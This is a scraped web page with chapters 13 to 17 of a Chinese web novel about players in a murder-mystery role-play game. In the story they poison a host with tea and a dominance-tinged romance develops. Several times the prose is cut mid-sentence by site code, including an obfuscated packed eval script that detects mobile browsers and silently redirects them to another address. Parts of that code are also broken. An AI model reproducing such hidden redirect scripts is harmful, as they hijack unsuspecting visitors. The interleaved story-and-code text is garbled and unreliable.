“我好像是在背着他偷偷说坏话,”她抿出一个笑,“很坏,”
“但阿月和我的关系很好,说坏话就说坏话吧,我想让阿月远离不稳定的危险因素。”
官素月:“……”
你……
她很难形容现在自己微妙沉默住的心情。
那是一种仿佛正在被狗舔手心的微妙感,你知道它是狗,它也知道它是狗,可它要假装自己不是狗,于是在热情的同时,它很严谨地没有汪汪叫,只含蓄地发出点喘气声。
……但与此同时,它的蓬松的尾巴,正在光明正大地扫来拍去,在人类身上留下强烈的存在感,让人想忽视都不行。
不过个别玩家有病现在已经是常识了。
官素月控制着自己的表情,忽略古怪的部分和可信度很低的部分,翻译戚元青的话:门外的是戚向榆。
“这样吗,”她淡定颔首,“谢谢你告诉我,我会注意的。”
又问:“元青,你的任务完成了吗?”
“不知道‘陈先生’已经见到第几个人了,是保镖不在场的单独见面、还是有保镖在场呢?哥哥,我们等下去看看吧。”
这是很直接的告辞了。
戚元青却没有不高兴,相反,她的笑容还更灿烈了些,原本说话时一直压低显得细声细气的声音也大了些,听起来有些沙哑,“好哦,阿月。”
她弯着眼睛,耳上的红晕未消、脸上的红晕更盛,声音又低了下来,轻声细语地报备:“我会继续待在房间里,十二点时,我会去见‘陈先生’,可能会待约十分钟,然后回房间。”
把行程交代得清清楚楚,这是在迷惑竞争对手还是在报备,突然报备干什么?
呃,等等。
官素月反应了一下:戚元青不会忽略事实不谈,直接把她告辞的话当成报备行踪了吧?
“……”她也不太想问清楚,微笑,“好的。”
门外始终一片安静,没有任何声音,哪怕戚元青不停说出令人沉默的迷惑之语,处于正常人状态的官素月也什么都没听到。
但这并非代表外面没人。
扶着徐示白的手臂推门而出的第一眼,官素月便看见了不远处的戚向榆。
比起妹妹,他虽格外社恐,却还算比较正常,起码暂时如此,没有演一半露一半,此时正站在书房门口和楼梯之间,一副正打算下楼、听到旁边有人出来于是闻声转头看来的自然姿态,仿佛根本没偷听。
他目光隐晦而迅速地扫过官素月的脸颊,匆匆确实她的表情,很快垂首,低着声询问:“两位客人好,你们怎么在二楼?”
语气有点弱。
徐示白不动声色地握紧了官素月的手,目光平视戚向榆,看似平静放松,其实已经做好了应对突发状况的准备,如遭遇袭击。
官素月用手指轻轻地拍了拍他,向楼梯的方向走去,同样若无其事仿佛没发现有人偷听,“戚小姐行动不便,我和哥哥送她回房间。”
她走到了楼梯边,打算下楼。
“[官妹妹],”戚向榆叫住了她,“你要去哪里?我送你去吧。”
他说:“‘陈先生’要见[官哥哥]。”
徐示白停下,面无表情地看向他。
官素月也侧面过去,面露迟疑之色,“可是,‘陈先生’的房间里还有其他人吧,要现在见吗?”
“[简画家]在里面,”戚向榆说,“大概过一两分钟就会出来,[官哥哥]可以在这里等,我刚好要去花园取花,还是我来送你吧。”
顿了顿,他意识到玩家不太喜欢自己的行踪被他人知道,又补充,“送到客厅也行。”
他想进行一对一谈话。
思索了几秒,官素月意识到这一点,很快松开徐示白的手,离开时特意在他掌根和腕部相连的地方摁了摁,示意自己是去套话的,语气舒缓,“那我先下去了,哥哥?”
徐示白慢半拍地用手机回复:“……嗯。”
官素月和戚向榆下楼。
说是一对一谈话,但单独相处时,戚向榆的头更低了,他扶官素月的时候,并不是像徐示白那样握住他的手腕,而是将手伸出去,让她自己选择怎么搭。
他的手臂挺僵硬的。
走到楼梯转角可以看到楼下客厅的位置时,他才冷不丁开口:“不要让戚元青靠近你。”
官素月看过去。
戚向榆:“他是个危险的东西,曾经跟踪尾随过女性。”
他还是一如
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
既往的垂首,只是在几乎并肩而立的距离,哪怕他垂首,官素月也能清清楚楚地看见他的表情,她发现他长得还挺好看的,垂首时莫名有一种微妙的低头臣服感,说话间瞥过来时总是一瞥即逝、喉结还会滚动。
不过,这不是重点。
“跟踪,”官素月重复,“尾随?”
她的眉头立刻蹙了起来。
原因很简单,她就曾被人跟踪尾随过。
“嗯,”戚向榆的视线瞥过来,捕捉到她反感的表情,便垂下眼睛,“他单方面认为他在和人谈恋爱,于是去线下见面。因为想知道她喜欢什么类型的人,于是跟踪尾随了两天。”
网恋?
戚元青是说自己有个网恋的恋人……但是,对方是女性?
一楼已经空空如也,没有任何人了,官素月看了眼,抓住重点:“自以为?”
“嗯,”戚向榆再次平静应声,平静到了麻木的程度,像死了一样,“对方养过狗,但忘了,他想嘲笑,就假装有养狗难题去问,问了一段时间却把自己当狗了,”
“他说狗洗澡生病了,对方回记得及时吹干,他说狗今天很乖想要奖励,对方说那奖励吧,他说狗想咬人,对方回记得打疫苗戴口套,他说狗运动量很大,对方说遛狗栓绳,他说狗想见主人怎么办,对方回想见就见,他就去见了。”
“然后狗腿断了。”
他没什么表情,嘴动了动,没第一时间再说出话,看起来是把脏话咽回去了,过了几秒才公正地评价:“有病。”
官素月:“……”
呃。
她陷入了古怪的沉默,许久之后,才勉强开口:“原、原来他坐轮椅是因为、”
因为跟踪尾随被人打断腿了啊。
戚向榆将官素月带至沙发,快步去接了杯水又回来,解释:“不是。”
“他是被车撞了。”
“对方很善良,没有直接干掉反杀他,”他平静地说,“只是甩掉了他。”
“他运气不好,想继续跟的时候被撞了。”
嗯……
虽然是在说血脉至亲,虽然语气平淡,但说的有点太冷幽默了,像在讲笑话,官素月敏锐地察觉到戚向榆的心情很好,她余光瞥去,发现他也在看她的表情。
不知观察到了什么,总之,在看到她的‘不理解,但大受震撼’,属于初次听闻的表情时,他的心情更好了,一直垂着的唇角都扬起来了。
可只心情好了几秒,不知道为什么,他低下眼睛突然又心情不好了。
他没坐在沙发上,在递水时便自然而然地半蹲在茶几旁,单膝虚抵着地,头垂着,耳边的绿宝石饰品在摇晃,像等待人捕捉的萤火虫,“那个,你小时、”
二楼,一道巨大的东西碰撞声响起,随后‘陈先生’的声音传来:“[戚保镖]!”
戚向榆立刻住嘴,微抬头向上瞥了眼,又低下头,低声顺着刚刚的话说:“……你几小时后行动的时候小心,别撞到自己。”
“……我先去取花。”
官素月对他笑,“好的,‘陈先生’好像比之前更暴躁了,你也小心。”
她看着戚向榆去花园取了几朵菊花、重新回二楼,仍坐在沙发上微笑,一副安静等人的样子。
直到一楼二楼重新恢复安静,直到周围没人,没有一个偷听的耳朵和一丝窥视的视线,她才突然站起来,快步走进花园,在茫茫灰白中寻找到了一抹深色:
西装外套。
浸透了茶水、被扔在菊花丛中的西装外套。
14.第十四章
在温暖的玻璃温室中,菊花都在盛放,郁郁葱葱的,呈现出一团团的花,但少数的菊花是萎靡地缩着的。
这部分少数菊花都在桌椅边,在‘陈先生’喝茶时的溅射范围,最萎靡的便是被黑色西装盖住的那一两盆花。
官素月把那些花盆重新打乱塞进各个不引人注意的角落,又将外套折叠收起来带走。
带着危险的东西,不能长时间停留在公共区域,最好在无人目击时尽快回房,但在客厅仔细聆听片刻,她惊奇又微妙地发现,徐示白居然还在二楼书房门口等着……
十多分钟过去,‘陈先生’仍在和[简画家]说话,一点都没有‘最多两三分钟就结束’的意思。
官素月:“……”
她从另一边的楼梯回房。
三楼还有其他人在,楚回的房间里亮着灯,有光从门缝里透出来,但里面是否有人就不太确定了。
还有一间房间是大开着的,不仅大门没关,卧室的门也没关,路过的时候,官素月甚至能一眼看到卫浴的灯光,也能听见洗漱的声音。
水声有变化,里面有人。
她无声地路过,回到自己房间,发现徐示白已经把案发现场打扫得干干净净了,房间里乍一闻满是沐浴露的清香,仔细闻嗅才能闻到地板洗涤剂的古怪气味。
尸体也不翼而飞。
不过仔细搜查后,官素月找到了尸体的去向:窗外。
卧室的窗户被人打开过,一侧的窗户推不动,另一侧的窗户稍微使劲便推开了,窗边凝结的冰雪有一条明显的裂痕。
外面还在吹着狂暴大风、下着鹅毛大雪,举目望去天地间一片白茫茫,别说尸体的痕迹,连个脚印都没有。
官素月只觉惊奇:她们居然可以出别墅吗?
以外面这情况,估计只要能搬得动,那什么作案证据都可以带出去随地掩埋,反正要不了多久大雪就会覆盖一切。
这种会令证据飞速消失的情况,剧本杀居然允许?
那之后可以利用一下,前提是确认在死者死讯公布后,被抛出去的线索不会一键返回……
她思索着在沙发坐下,翻看手提包,继续之前中断的搜查行为。
那份从行李箱翻出来的文件是药物的检测报告,上面除了说明剂量足够的情况下、服用药物者会在三小时后死亡,还说明了因这种药而死的人会在死前半小时浑身疼痛,死后面部紫红肿胀,宛如窒息而亡。
相框里则是全家福,上面有四个人,面部清晰的唯有官素月一个,其他三人都是面庞模糊,脸上分别被标注着:[‘官母’]、[‘官父’]和[官哥哥]。
[官哥哥]的面庞模糊、不是徐示白的脸,是系统提供隐晦的线索,其他玩家如果很擅长思维发散推理,那估计立刻就会因‘为什么[官妹妹]脸清楚,[官哥哥]的脸却是模糊的?’而怀疑徐示白的身份。
但这个线索最重要的居然不是徐示白的身份,而是……
官素月打开相框,发现里面居然有两张照片。
第二张照片也是一张全家福照片,不过是三人的,同样只有官素月的脸清晰,剩下两人的标注是:[官母]、[官父]。
没带引号,官素月立刻意识到:这两个人恐怕是[官妹妹]的亲生母亲和父亲。
这张照片的背后还写有一行小字:「我会为你报仇的,妈妈。」
在官素月看到这行字的下一秒,系统提示弹出:「你永远无法忘怀,在你母亲虚弱地躺在病床上,只能用手轻轻摸你的脸颊,温柔劝停你的哭泣时,有一个冷血的家伙从你父亲身上偷走了医疗费。」
「你发誓,你一定、一定要让他付出代价。」
「幸运的是,在那场措不及防的车祸中,你再次看见了他。」
「你找到他了。」
「叮,已触发[主线任务②]。」
「任务要求:隐瞒自己的真实身份,请尽量不要让他人发现你和‘陈先生’有着血海深仇,尤其是你的‘哥哥’。」
官素月的表情微妙了起来:看起来,[官妹妹]好像对养母他们……没有太深厚的感情?
那她和[官哥哥]的关系,或许还要再利益一点。
她又翻看手机。
收件箱那封未查看的天气预警信息很简单,是说明别墅所在地区即将迎来特大型暴风雪,请市民们提前储存必需品‘注意安全,如有失联请耐心等待,救援队会尽量在七天内搜完每一处报备了有人的区域。
随着点进这条信息,系统提示弹出:「七天。」
「你知道,第七天的下午六点,救援队会赶到。」
那时候,大概就是游戏结束的时刻。
这是一条重要信息,但官素月的注意力并没有在这上面,她垂眼盯着屏幕,退出天气预警的短信页面,指尖向下了一点,点进一个已读的信息框。
信息框的对面是[男鬼],是那个通讯录里的唯二人员,看短信内容,[官妹妹]和他有来有回地聊了一段时间,但她发出的短信已经全
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948591|147504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
部被删除,只余他发过来的短信。
按时间线依次排列,较为重要的信息如下:
「你是谁?」
「合作。」
「他信了。我把你的描述原原本本地转述过去,他没有怀疑,立刻相信我真的看见了跟着他的‘鬼’……你是怎么知道得那么清楚的?我似乎猜到了你的身份。」
「今晚七点见,各凭本事:)」
对方的身份已经从字里行间透露了出来:那位神秘的大师。
这条时间线捋下来,那部分事情的真相便是:[官妹妹]找到‘陈先生’后,发现了‘大师’的存在,主动找上门合作,帮助‘大师’获得信任,并一起设套让仇人钻进来。
正在推测时,官素月看到第三条系统提示弹出:「主线任务[杀死‘陈先生’]已解锁。」
「或许,你该去见见‘陈先生’了。」
官素月眼神微凝。
*
假如目光可以杀人的话,戚向榆已经死了。
徐示白面无表情地站在书房门口,冷冷地等待着。
不知过了漫长的多久,书房终于有动静传来,[简画家]推门而出。
看到站房门左侧、表情十分不妙的徐示白,和站在房间右侧、若无其事的戚向榆时,他顿了顿,忍不住投去诧异的目光。
察觉到好像有人脸更臭了,他及时移开视线,佯装忙碌地整了整自己怀里的画具,礼貌道:“戚先生,‘陈先生’想见官小姐。”
戚向榆颔首,坦然自若道:“好的,我会去通知她的。”
官素月不在的时候,他倒是抬起了头,不再是一副社恐晚期或谦卑温顺过头的样子,他侧首看向徐示白,“请问徐先生看我,是有什么疑问吗?”
“抱歉,忘记您不能说话了。”
徐示白面无表情地移开视线,盯向地面。
不过几秒后,他的鼻尖动了动,突然怔然了一下,冷冰冰仿佛死了一样表情缓和了下来,他看向楼梯。
官素月从三楼走下来,她下楼梯的速度较慢,走到一半时似乎察觉到了自己在被三双眼睛注视,于是抬头,盯着空中笑,又小声问:
“你还在吗,哥哥?”
一道只有徐示白能看到的系统提示弹出:
「你嗅到了她的气味。」
「躁动值已下降,当前进度条:83%」
「她不喜欢失控的废物。」
「躁动值已下降,理智回归中,当前进度条:80%」
15.第十五章
徐示白的表情有些奇怪。
上一次他表情奇怪,是在用餐时,再上上次他表情奇怪,是刚进游戏时……所以这一次,系统又提示了什么奇怪的东西?
这个念头在脑海中一闪而过,官素月自然地往前走了两步,在徐示白用手机回复自己还在和伸手握住她的手腕时又笑起来,“我还以为你已经离开了。”
她不动声色地瞥了眼戚向榆:他又垂下了头,有种冷淡却温顺的微妙感,连带着绿宝石耳饰都温润了起来,像很无害的社恐。
他的声音也是无害的,没有任何敌意,在徐示白打完字前低声道:“[官妹妹],‘陈先生’想要见您,请。”
正在打字的徐示白停下,看都没看过去一眼,又重新打字:“我还没有见到‘陈先生’,你先进去吧。”
他将官素月牵至书房门前,单手打字:“小心,他快发疯了,刚刚一直在房间里砸东西。”
“有事叫我。”
官素月推门而入,眉梢动了动,“好的。”
很臭。
这是她对书房的第一印象,推开门的刹那,书房里的浑浊空气涌出来,热乎乎的,臭气熏天,仿佛一具尸体在充满暖气的房间里发酵了好几个小时。
应该去掉‘仿佛’。
书房不算太大,整体的装修偏暗,大多的装饰品都是书,两侧都是书架,很多书都可怜巴巴地在房间各处躺着,‘陈先生’坐在窗前的书桌边,正在看电脑,屏幕的光打在他的脸上,让他过分僵硬的脸庞更狰狞。
听到关门的轻声,他缓缓抬头,看见是官素月,立刻迫不及待地开口:“你来了,[官妹妹],快帮我冲杯茶吧。”
又是冲茶。
官素月用盲杖点着地毯走过去。
书房的中央是会客的茶几和沙发,此时有一侧的沙发被拖拽到书架边,茶几上则摆放着没喝完的咖啡,看起来刚刚[简画家]是在这里画的画。
走到茶几前,官素月停下,将手提包放在桌子上,从里面取出茶叶瓶子,轻声问:“好的。”
她垂下眼睫,目光掠过眼前的荧光屏幕:
「几个月前,你跟踪他,发现他在竭力抹去自己身上贫穷的痕迹、拼命想要上流优雅起来,还对外宣称自己很喜欢喝手磨咖啡、品茶和红酒,爱欣赏油画、喜欢打高尔夫和骑马等等。」
「真是纯粹的爱好,你决定,正如他爱那些东西一样,要让那些东西也同样爱他。」
「他选择了茶叶。」
「死在自己向往的高雅爱好手中,他一定很开心吧?」
「任务提示:请将[茶叶]与[药物]搭配使用,让‘陈先生’服下。」
这就是[官妹妹]的作案。
官素月冲好茶,端给‘陈先生’。
和之前一样,‘陈先生’像被渴死的,对茶水很渴求,接过就大口大口地饮用了起来。
喝得太快了,有部分水流到他的下巴处,把那里僵硬的皮肤烫红,从脖子溅射出来的茶水则不再是亮褐色,而是暗沉沉的红。
他的喉咙和口腔里积攒了血,现在血被热水冲了出来。
「任务完成。」
「恭喜您,成功作案。」
「请自行分辨您是否是凶手,如是,请隐藏您杀人的事实。」
喝完,‘陈先生’一擦下巴,丝毫没有一点徐示白所说的易怒倾向,还挺乐呵的,“我喝过那么多茶,就数[官妹妹]你送的最好,那个滋味是什么…噢对,清香回甘!”
“就那么一点苦涩!”
官素月不置可否。
她递茶时站在了书桌边,此时正在隐晦地看电脑屏幕,上面显示着一个聊天界面。
整个页面都是‘陈先生’发过去的话,一片己方话框的绿,其中大半是带有红色感叹号的,信息一条接着一条,没有时间提示、只有信号不好发送失败的提示,说明这些消息都是在短时间内连串发出去的。
内容则是各种暴躁催促,问‘大师’怎么还不回话、是不是有急事、快点滚过来给他弄仪式之类的。
‘陈先生’往自己电脑上看了一眼,“我叫你来是想和你商量一下,咳,那什么,这不是雪下得很大吗,就算明天停了,化雪也得要几天呢,还是多住几天吧,不然路上容易出意外。”
“而且,”他伸手捏眉头,手动皱眉,又扶住脑袋,“有位客人失联了,我最近一两天恐怕没功夫和你们谈赔偿的问题。”
官素月翻译:他觉得‘大师’可能有事迟到了,会晚会儿或晚几天到,仪式大概需要一定的时间,所以企图拖延住别墅里的其他人。
“是吗?”她佯装将信将疑,“你不会是想不给赔偿吧?”
“当然不会,”‘陈先生’从书桌抽屉拿出一张卡,表情变化了一下,看起来很想高高在上不屑一下,但面部的僵硬阻碍了他,他只能抽动着脸道,“这里面是一百万,就当拖延费了。”
“对了,你哥哥,”
他问:“你能说服他的吧?”
官素月接过卡,扫了眼他想演狐疑、但看起来像死不瞑目的脸,“他就在门外,你可以找他商量。”
“茶喝完了,我可以走了吗?”
‘陈先生’点头。
电脑右下角的时间是九点十三分,官素月记下这个时间,转头出去。
门外只剩两个人了,是徐示白和戚向榆,他们还是一左一右地站着,像两个门神,一句话也不交流,听到开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958909|147504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门声时不约而同地看过来。
“‘陈先生’让你进去,哥哥,”官素月先说,又问,“要我等你吗?”
说话时,她在不动声色观察徐示白,发现他果然又奇怪了起来,回头看到她的时候,他居然明显地松了一口气,察觉到自己松气后又皱了皱眉,视线一直垂着,落点是……
官素月顿了顿,稍微侧脸,自然而然地抬手挡唇,“里面很臭,都是尸体腐烂的气味,你进去时最好屏息。”
徐示白立刻移开视线,索性手机只会发出毫无起伏的声音,不会透露他的情绪:“好。”
应是应了,他却没动,过了几秒,他才动起来,解开自己的外套披在官素月的肩膀上,直接忽视来自戚向榆的视线,不太自在地摁着手机摁键:“好像有点冷了,别感冒。”
“如果我十分钟还没出来,那你先回房间吧。”
他整个人都轻松了起来,最后对官素月颔首,推门走了进去。
官素月在原地怔住。
她抬手拢了拢肩上的西装外套,猜又是系统发布了什么奇怪的任务。
“官小姐,”一侧的戚向榆开口,“你们的关系似乎很好。”
他还是低着头,绿宝石耳饰在轻晃,晃得幅度有点大,官素月的注意力在耳饰上转了转,推测他刚刚抬头了、又很快低下头,口中则回答着:“他是我哥哥。”
和之前告知戚元青有多令人皱眉时一样,戚向榆不再那么疏离,语气平和,有种在说事实的说服感,“剧本杀的身份如此,但,”
“恕我直言,他似乎并不怎么听话。”
官素月的眼瞳动了动,眉头抬起。
“您好像不是很喜欢他人过近的肢体接触,”戚向榆的用词是不确定的,语气却还是陈述性的,“但他在没有命令的情况下、”
没有请示,未经允许,居然直接解下自己的衣服给官素月披上。
剧本杀的角色身份是一回事,玩家们之间熟不熟就是另一回事了,陌生异性之间的接触分寸就更是另一回事。
……不过另一位陌生玩家来打抱不平也是另一回事。
打抱不平的点居然是‘在没有命令的情况下’,也太奇怪了吧?
官素月再一次品尝到了古怪。
她今天不知道第几次或明显或隐隐地感觉到古怪了,现在竟慢慢习惯,这次连沉默也没有沉默一下,眨了眨眼睛,便从容接道:“戚先生是说、”
突然,书房的门打开。
徐示白推门而出,恰好站在官素月和戚向榆之间。
他举起手机,“[戚保镖],”
“……‘陈先生’吐了。”
官素月:“?”
等等,毒药——
16.第十六章
戚向榆快步走进去。
他没关门,官素月一转头就看到了房内的情况:‘陈先生’确实在‘吐’。
但并非是人类的那种吐法,他是把头拔下来弯腰‘吐’的,脖子和头的两个口分别喷出一股股的红色可疑液体,书房里的腥臭味顿时加强。
徐示白伸手,虚着住官素月的眼睛,哪怕明知道她看不见,他还是下意识做了这个动作,又调低了手机音量:“你下毒了?”
书房里的痕迹太明显,有两处人类活动的地方,分别是沙发茶几和书桌,从挪动痕迹就能判断出来沙发处的痕迹大概率是绘画时留下的,那书桌的痕迹只能是官素月留下的。
书桌上有茶杯。
徐示白猜她是下了毒。
“‘陈先生’全吐出来了,”他继续打字,“这场案件和你没关系了。”
官素月的表情发生了变化。
她伸出一只手轻握住徐示白的手,看起来已经特意控制表情了,可脸上还是流露了放松和些许惊讶,“是、是吗?”
“太好了。”
可下一秒,她刚放松绽放出来的微笑就收了回去,眉头担忧地蹙起,拇指在他的手腕内侧摩挲,“那你……”
你怎么办呢?
她没有说完,但任何一个人都能轻松意会。
系统又在提示了:「她在注视你。」
徐示白比官素月高,她仰着脸,漂亮的眼睛像镜子,倒映着模糊的人影。
「她的眼里只有你。」
「她不会无缘无故抛弃你,不会将对你的注视投向他人,不会接受其他人递来的狗绳。」
「理智回归中……」
理智值在反复坐升降梯。
因‘长时间远离官素月’和‘其他人似乎态度古怪心有觊觎’而下降,又因‘获得了安抚’、‘重新回到她身边’和‘被坚定选择’而上升。
这是角色设定。
徐示白清楚地知道,这只是[官哥哥]的角色设定。
但……
他移开视线,快速摁了几下手机,“没事,你在这儿等我一下,我进去帮忙收拾。”
官素月颔首。
她一直维持着有些茫然的表情,静静地看着书房里的一片乱象。
‘陈先生’只喷了不到一分钟的血水,就虚弱地把头摁回到脖子上,戚向榆很冷静地把毯子掀起折在一旁,动静大又不失敷衍地履行了自己的职责。
徐示白没多停留,他在戚向榆用鞋子踩着地毯叠的时候,端了杯温水给‘陈先生’,又用手机说了些注意身体礼貌告辞的话,很快便转身出来。
他顺手带上了门,很认真地打字:“他闹出的动静太大了,其他玩家可能会过来,我们先回去?”
官素月的视线在他的脸上转了几圈,又看了看正在喝水的‘陈先生’,轻松应下,“好呀。”
路上可能会碰到其他玩家,直到回到了房里,她向沙发走去,轻声问:“我刚刚听到你好像倒了一杯水,哥哥?”
徐示白听出了她想问什么,“那杯水里没有毒,我的作案方式不是下毒,现在还没到我的作案时间。”
这是当然的,当时戚向榆还在房里,他要是敢直接作案,那不是果断抓住时机,而是脑子暂时下线。
想是如此想,官素月面上却佯装松气:“那……”
那为什么现在就回房?
留在书房固然可能会遇到其他准备作案、并不十分安全的玩家们,但也有可能会收获线索。
“九点半了。”徐示白停顿了几秒,打出后半句话,“你的、”
他又删掉重新打,视线移到一侧,“系统提示[官哥哥],[官妹妹]的入睡时间是十点,超过十点再睡,[官妹妹]第二天会头疼。”
洗漱需要时间,盲人在陌生的卫生间里洗漱更需要时间。
……但这不是陌生玩家会考虑的。
而且还特意强调是角色身份。
官素月轻松得到信息:系统又给徐示白发布了任务。
他的支线任务都奇奇怪怪的,还是会令成人不太自在的奇怪。
得先抓一下主导权。
如此想着,官素月在沙发上坐下,她选了个略局促的坐姿,膝盖并在一起,“好吧。”
“徐先生,您是不是……又需要安抚了?”
她又换回了‘徐先生’这个生疏有距离的,手轻拢在膝盖上,头垂下去,让站着的徐示白看不到丝毫表情。
他的身体僵了僵,立刻反问:“你也接到任务了?”
“没有,”官素月摇头,说实话,“我没有接到任务,但察觉到您好像有些不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13973209|147504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对。”
“我感觉您并不是那种会直接为陌生异性披上外套的人,尤其是自己刚刚还穿在身上的外套,恕我直言,这有些、”
明显迟疑一下,她没有再说下去,转而又道:“我们之间的关系……”
徐示白纠正:“[官妹妹]和[官哥哥]之间的关系。”
“我本来以为是恋人,”官素月继续往下说,语气带上了试探,“但是,好像、”
她欲言又止,低声解释,“您为我披外套时,我感觉像是‘野兽在用自己的气味标记所有物’,您好像还对其他接近我的人有敌意,却没有明确表示过,加上‘您需要我的安抚’,我们之间的关系应该不只是恋人吧?”
“是……”
她迟迟不肯说究竟是什么,但意思早已表达清楚了。
徐示白沉默了片刻,纠正,“是[官妹妹]和[官哥哥]。”
“嗯,是[官妹妹]和[官哥哥],”官素月从善如流地改口,“我觉得,”
她突然伸手勾住了徐示白的衬衫,手指从一枚纽扣的下方探进去,而后用力向下拽,轻松把他拽得跪了下来。
徐示白措不及防,但身体下意识顺着力道下去,膝盖撞在了地毯上。
全程速度快到比起‘被突然袭击’、更像是‘主动跪下’。
他愕然。
官素月比他更愕然,吃惊地眨了眨眼,低声道:“果然。”
“我们的关系是,我是主导者,你是被主导者吧?”
她看起来不自在极了,说到一半停了停,侧过脸抿起唇才用较为文明的话说完。
徐示白:“……”
“你可以直接点,”他盯着官素月侧开的眼睛看,“我是你的忠犬。”
这话很羞耻,可手机播放发出的声音毫无起伏,反而有种微妙感。
“不,”在手机播放完之前,官素月便打断,这次轮到她来纠正,“是[官妹妹]和[官哥哥]。”
她勾着衣服的手动了动,抽出来时将那枚纽扣也一并解开了,“抱歉,我不太会以这种身份安抚人,不过,”
那只手上移,摸索着攀上徐示白的手臂、肩膀,在他紧绷之时蹭过他的侧颈,擦过他的耳朵,最终落在他的头上,她触碰着头发轻轻地揉了揉。
“这样,可以吗?”
17.第十七章
徐示白很紧绷。
他单膝跪地,直直地盯着官素月的脸颊看,浑身紧绷到像弓弦,西装裤紧绷着勾勒出有弧度的腿型,皮鞋只有前端踩着地面,所以轻微挪移也很明显。
扑面而来的危机感很浓郁,有种犬类发动攻击前警告性呲牙的感觉。
似乎只要官素月稍有异动想要攻击他,他就会立刻抢先下手,毫不犹豫地咬死她。
似乎。
而且他的背脊挺得很直,哪怕他单膝跪着、官素月坐着,也还是得伸直手才能去摸他的后脑。
这种仰脸扣后脑的动作,很像在求吻。
她却恍若未觉,眉头蹙起,甚至有点困扰,指尖继续向下摸,在徐示白的后颈处摩挲,“怎么不说话?”
“你不说话的话,我不知道你的感受如何。”
“系统认为这样的安抚可以吗,徐先生?”
徐示白:“……”
官素月的体温其实不算太凉,但他太烫了,衬得后劲那只手凉凉的,那只手似乎也被烫到了,苦恼地时不时转着圈划、时不时摁着一小块地方反复轻蹭,时不时离开缓一缓。
她是看不到的。
徐示白知道,但还是克制地收敛表情,压下脊椎尾部处泛起的战栗感,伸手去拿手机,“可以。”
“那就好,”官素月松了一口气,重新露出笑来,“我好久没有摸狗、咳,”
“不好意思,我继续。”
她的脸红了起来,手指也在长时间的接触下被烫得升温,一副和徐示白同样局促,还害羞的样子。
但她的脸红并非是因为动作,而是因为说错了话。
“徐先生,”官素月的手又重新摸向他的后脑,轻轻揉着,另一只手则揽住他的腰,迟疑着拥抱过来,“不舒服的话告诉我,系统提示反馈很好的话也告诉我。”
这个拥抱很轻,很浅的呼吸轻轻擦过徐示白的脖颈。
动作很暧昧。
可徐示白猜官素月根本没察觉到,是直接将摸大型犬的动作套在了他的身上,也猜她大概在磕磕绊绊地想系统真坏,居然给玩家加限制、以至于她居然把队友当狗摸。
还猜官素月一定不知道,她只是几个在亲密范围、但其实并不算特别亲密的动作,可或许是她的疏离太过明显,态度太过不含情愫,温和却强硬的掌控,又或许是他从未和女性如此亲密,或许是他被角色身份影响了,或许是特殊的环境和气氛使然……
徐示白已经处于某种濒临失控的状态了。
他抵着地毯的膝盖动了动,调整跪姿,手抬起欲去揽官素月的腰。
但恰好和官素月下移些的手撞上,她有些疑惑地眨了眨眼,立刻道:“别动,是不舒服吗?徐先生要说出来。”
她已经提醒好几次了。
徐示白沉默着去摸手机,只是摸到一半,和恰好制止他揽腰动作一样,官素月又伸手,摸着他的手臂找到手掌、将他手里的手机拿走。
“打字太麻烦了吧?”她说,“还不能及时反馈。”
“不如直接说吧,徐先生。”
她用手捏了几下徐示白的后颈,手指划过他的下颌线,掌心轻压在他的嘴唇上,“徐先生,您说,我试试能不能分辨。”
这动作进入了最亲密动作的范畴,徐示白呼吸一滞。
察觉到后,官素月似乎才反应过来,连忙局促着下移手,去摸脖颈。
下移时,她的手指摁压了几下徐示白的唇,最终恰好停在喉结处,用指腹勾勒出了喉结的弧度。
“抱、抱歉,没太注意,”她道歉,又勉强继续原话题,“我摸着你的脖子,你点头或摇头我都能感觉到,舒服和要继续就点头,不舒服和想停下就摇头,可以吗?”
徐示白的喉结滚动了两下,缓缓点头。
官素月笑起来,“好的。”
她原本放在徐示白腰侧的手上移,好奇似的去摸他的后背,用掌心感受肌肉的轮廓,还试探性地轻捏一下,带来轻麻的感觉。
徐示白低下了眼睛,再次点头。
他的视线垂下,发现大概是自己刚刚调整姿势时占据了空间,所以官素月的脚被挤
